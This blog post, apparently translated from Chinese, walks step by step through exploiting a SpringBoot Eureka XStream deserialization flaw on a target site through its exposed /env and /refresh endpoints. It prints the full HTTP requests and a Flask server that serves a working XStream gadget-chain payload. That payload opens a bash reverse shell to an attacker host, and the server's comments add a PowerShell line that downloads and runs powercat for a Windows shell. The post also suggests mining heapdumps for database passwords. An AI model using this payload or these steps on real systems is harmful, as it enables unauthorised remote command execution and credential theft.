banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

A journey of SpringBoot eureka penetration test.

SpringBoot eureka XStream Deserialization Command Execution Vulnerability#

0x01 Introduction#

Recently, it has been discovered that many websites are built using SpringBoot. During directory scanning or fingerprint scanning, vulnerabilities can be found if SpringBoot is not properly configured.

For more information about SpringBoot, please refer to: GitHub - LandGrey/SpringBootVulExploit: Collection of learning materials, exploitation methods, and techniques for SpringBoot vulnerabilities, which provides detailed information on SpringBoot techniques and exploitation methods.

The vulnerability discovered this time is the remote command execution vulnerability in SpringBoot eureka, with the following process: information leakage - DNSLOG testing - RCE.

0x02 Exploiting the Vulnerability#

Through information gathering, it was found that the target has port 9099 open. Accessing it, we find a SpringBoot eureka site with the following interface:

image

Since it is SpringBoot eureka, it may have a deserialization RCE vulnerability. However, there are many prerequisites for exploiting this vulnerability.

Vulnerability exploitation conditions:

  • Able to send a POST request to the /env endpoint of the target to set properties
  • Able to send a POST request to the /refresh endpoint of the target to refresh the configuration
  • The target is using a version of eureka-client that is lower than 1.8.7
  • The target can make outbound HTTP requests
  1. The /env endpoint can be accessed directly, and through this, we can determine if the SpringBoot version is 1.x. If it is version 2.x, we need to access the /actuator/env endpoint to access the following page.

image

image

  1. Through DNSLOG requests, we can test if /env, /refresh, and HTTP can make outbound requests.

First, set the eureka.client.serviceUrl.defaultZone property.

POST /env HTTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

eureka.client.serviceUrl.defaultZone=http://<dnslog address>
  1. Accessing /configprops allows us to see the eureka.client.serviceUrl.defaultZone property that was set.

image

  1. Send a POST request to refresh the configuration using /refresh.
POST /refresh TTP/1.1
Host: xxx.com:9099
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  1. After executing, wait for the DNSLOG to receive the request. When I tested it, it took some time to receive the request, so you need to be patient. If you receive the request, it means it has been successful.

image

  1. Once the vulnerability is confirmed, you can start to execute a reverse shell.

Here is a Python script that meets the requirements and depends on Flask. It uses bash to execute a reverse shell. Modify the script with the IP and port, setting the IP to the IP of the VPS and the listening port to the port that nc is listening on. Finally, run this Python script on the VPS.

# -*- coding: utf-8 -*-
# @Time    : 2019/3/12 10:06
# @Author  : j1anFen
# @Site    :
# @File    : run.py

# Linux reverse shell: bash -i >&amp; /dev/tcp/192.168.20.82/9999 0>&amp;1
# Windows reverse shell:
# <string>powershell</string>
# <string>IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');</string>
# <string>powercat -c 192.168.123.1 -p 2333 -e cmd</string>

from flask import Flask, Response

app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods = ['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                                <string>/bin/bash</string>
                      <string>-c</string>
                      <string>bash -i >&amp; /dev/tcp/<VPS IP address>/8446 0>&amp;1</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8088)

First, run the above script, which runs a web server.

image

You can access it through a browser.

image

Then, start listening on nc on the VPS.

image

After completing the preliminary work, go through the previous DNSLOG verification process. First, send a POST request to set the properties using the /env endpoint, and then configure the /refresh endpoint.

image

image

image

0x03 Conclusion#

  • The entire process is not complicated, except for the need for patience during the DNSLOG verification.
  • There are other things to test for SpringBoot, such as downloading heapdumps from this site, which can be used to find database passwords.

0x04 Other#

GitHub - AabyssZG/SpringBoot-Scan: Open-source penetration testing framework for SpringBoot, as well as tools for exploiting high-risk Spring-related vulnerabilities

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.